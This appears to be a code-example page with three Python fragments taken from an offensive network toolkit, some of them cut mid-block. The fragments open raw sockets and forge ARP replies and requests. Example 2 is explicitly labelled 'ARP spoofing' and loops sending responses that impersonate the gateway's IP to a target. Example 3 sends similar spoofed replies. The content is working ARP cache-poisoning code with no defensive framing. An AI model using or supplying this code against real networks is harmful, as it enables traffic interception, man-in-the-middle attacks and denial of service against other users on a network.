예제 #1
0
# region Main function
if __name__ == "__main__":

    # region Create Raw socket
    SOCK = socket(AF_PACKET, SOCK_RAW)
    SOCK.bind((current_network_interface, 0))
    # endregion

    # region Send ARP reply packets
    try:

        # region Make ARP reply packet
        arp_reply_packet = arp.make_response(ethernet_src_mac=sender_mac_address,
                                             ethernet_dst_mac=target_mac_address,
                                             sender_mac=sender_mac_address,
                                             sender_ip=args.sender_ip,
                                             target_mac=target_mac_address,
                                             target_ip=args.target_ip)
        # endregion

        # region Set count of packets
        if args.count is None:
            count_of_packets = 1000000000
        else:
            count_of_packets = int(args.count)
        # endregion

        # region General output
        Base.print_info("Network interface: ", current_network_interface)
        Base.print_info("Target mac address: ", target_mac_address)
        Base.print_info("Target IP address: ", args.target_ip)
예제 #2
0
                arp_request = arp.make_request(ethernet_src_mac=your_mac_address,
                                               ethernet_dst_mac=target_mac_address,
                                               sender_mac=your_mac_address,
                                               sender_ip=gateway_ip_address,
                                               target_mac="00:00:00:00:00:00",
                                               target_ip=Base.get_netiface_random_ip(network_interface))
                socket_global.send(arp_request)
                sleep(2)
        # endregion

        # region ARP spoofing with ARP responses
        else:
            Base.print_info("Send ARP responses to: ", target_ip_address + " (" + target_mac_address + ")")
            Base.print_info("Start ARP spoofing ...")
            arp_response = arp.make_response(ethernet_src_mac=your_mac_address,
                                             ethernet_dst_mac=target_mac_address,
                                             sender_mac=your_mac_address,
                                             sender_ip=gateway_ip_address,
                                             target_mac=target_mac_address,
                                             target_ip=target_ip_address)
            while True:
                socket_global.send(arp_response)
                sleep(2)
        # endregion

    except KeyboardInterrupt:
        socket_global.close()
        Base.print_info("Exit")
        exit(0)
# endregion
예제 #3
0
                prn=send_arp_reply,
                filters={"Ethernet": {
                    "source": _target_mac_address
                }})


# endregion

# region Main function
if __name__ == "__main__":
    try:
        # region Make ARP request and response
        _arp_response = _arp.make_response(
            ethernet_src_mac=_current_mac_address,
            ethernet_dst_mac=_target_mac_address,
            sender_mac=_current_mac_address,
            sender_ip=_target_ip_address,
            target_mac=_target_mac_address,
            target_ip=_target_ip_address)

        _arp_request = _arp.make_request(
            ethernet_src_mac=_current_mac_address,
            ethernet_dst_mac="33:33:00:00:00:01",
            sender_mac=_current_mac_address,
            sender_ip=_target_ip_address,
            target_mac="00:00:00:00:00:00",
            target_ip=Base.get_netiface_random_ip(_current_network_interface))
        # endregion

        # region Send only ARP reply packets
        if args.answers: